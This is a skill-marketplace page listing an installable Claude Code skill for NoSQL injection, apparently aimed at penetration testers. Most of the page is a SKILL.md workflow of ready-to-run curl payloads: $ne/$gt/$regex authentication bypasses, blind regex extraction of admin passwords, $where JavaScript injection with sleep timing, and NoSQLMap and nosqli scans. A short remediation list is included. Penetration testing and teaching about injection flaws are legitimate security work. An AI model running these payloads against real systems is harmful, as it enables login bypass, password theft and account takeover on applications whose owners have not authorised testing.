New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Exploiting NoSQL Injection Vulnerabilities

Free

Test and exploit NoSQL injection flaws in databases.

Get this skill

Free · Opens the source repo

What Exploiting NoSQL Injection Vulnerabilities does

The Exploiting NoSQL Injection Vulnerabilities skill is designed for security professionals and developers who need to identify and exploit NoSQL injection vulnerabilities, particularly in MongoDB and CouchDB environments. This skill provides a comprehensive workflow for penetration testing, allowing users to assess the security of applications that rely on NoSQL databases. By leveraging crafted query operators, users can demonstrate authentication bypasses, unauthorized data access, and data extraction techniques.

This skill is particularly useful during web application penetration tests, bug bounty hunting, and security code reviews. It guides users through a series of steps, starting from identifying potential injection points in JSON-based APIs to executing complex injection techniques. The skill also includes practical examples using curl commands to illustrate how to manipulate database queries effectively, making it accessible for those familiar with basic command-line operations.

To utilize this skill effectively, users should have a foundational understanding of MongoDB query operators and the prerequisites such as Burp Suite and NoSQLMap installed. The skill emphasizes the importance of testing input validation and injection defenses in web applications, ensuring that security measures are robust against common attack vectors.

Overall, the Exploiting NoSQL Injection Vulnerabilities skill is a valuable tool for anyone involved in web security, providing practical insights and methodologies for testing NoSQL database security.

When to use it

Use this skill during penetration testing of applications that utilize NoSQL databases, especially when assessing API security and authentication mechanisms.

When not to use it

This skill is not suitable for applications that do not use NoSQL databases or for environments where ethical hacking is not permitted.

What you can build with it

Testing API Security

Use this skill to assess the security of APIs that interact with NoSQL databases, ensuring they properly validate input.

Bypassing Authentication

Employ the skill to demonstrate how NoSQL injection can be used to bypass authentication mechanisms in web applications.

Data Extraction Techniques

Utilize the skill to extract sensitive data from NoSQL databases using crafted queries, highlighting potential security flaws.

How to install Exploiting NoSQL Injection Vulnerabilities

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-nosql-injection-vulnerabilities --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Exploiting NoSQL Injection Vulnerabilities

When to Use

  • During web application penetration testing of applications using NoSQL databases
  • When testing authentication mechanisms backed by MongoDB or similar databases
  • When assessing APIs that accept JSON input for database queries
  • During bug bounty hunting on applications with NoSQL backends
  • When performing security code review of database query construction

Prerequisites

  • Burp Suite Professional or Community Edition with JSON support
  • NoSQLMap tool installed (pip install nosqlmap or from GitHub)
  • Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
  • Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
  • Proxy configured for HTTP traffic interception
  • Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Step 3 — Extract Data Using Boolean-Based Blind Injection

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Step 4 — Exploit JavaScript Injection via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Step 5 — Use NoSQLMap for Automated Testing

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Step 6 — Test URL Parameter Injection

# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

Key Concepts

ConceptDescription
Operator InjectionInjecting MongoDB operators ($ne, $gt, $regex) into query parameters
Authentication BypassUsing operators to match any document and bypass login checks
Blind ExtractionCharacter-by-character data extraction using $regex boolean responses
$where InjectionExecuting arbitrary JavaScript on the MongoDB server via $where operator
Type JugglingExploiting how NoSQL databases handle different input types (string vs object)
BSON InjectionManipulating Binary JSON serialization in MongoDB wire protocol
Server-Side JSJavaScript execution context available in MongoDB for query evaluation

Tools & Systems

ToolPurpose
NoSQLMapAutomated NoSQL injection detection and exploitation framework
Burp SuiteHTTP proxy for intercepting and modifying JSON requests
MongoDB ShellDirect database interaction for testing query behavior
nosqliDedicated NoSQL injection scanner and exploitation tool
PayloadsAllTheThingsCurated NoSQL injection payload repository
NucleiTemplate-based scanner with NoSQL injection detection templates
PostmanAPI testing platform for crafting NoSQL injection requests

Common Scenarios

  1. Login Bypass — Bypass MongoDB-backed authentication using {"$ne": ""} operator injection in username and password fields
  2. Data Enumeration — Extract database contents character by character using $regex blind injection when no direct output is visible
  3. Privilege Escalation — Modify user role fields through NoSQL injection in profile update endpoints
  4. API Key Extraction — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
  5. Account Takeover — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

Output Format

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls

Frequently asked questions about Exploiting NoSQL Injection Vulnerabilities

Similar skills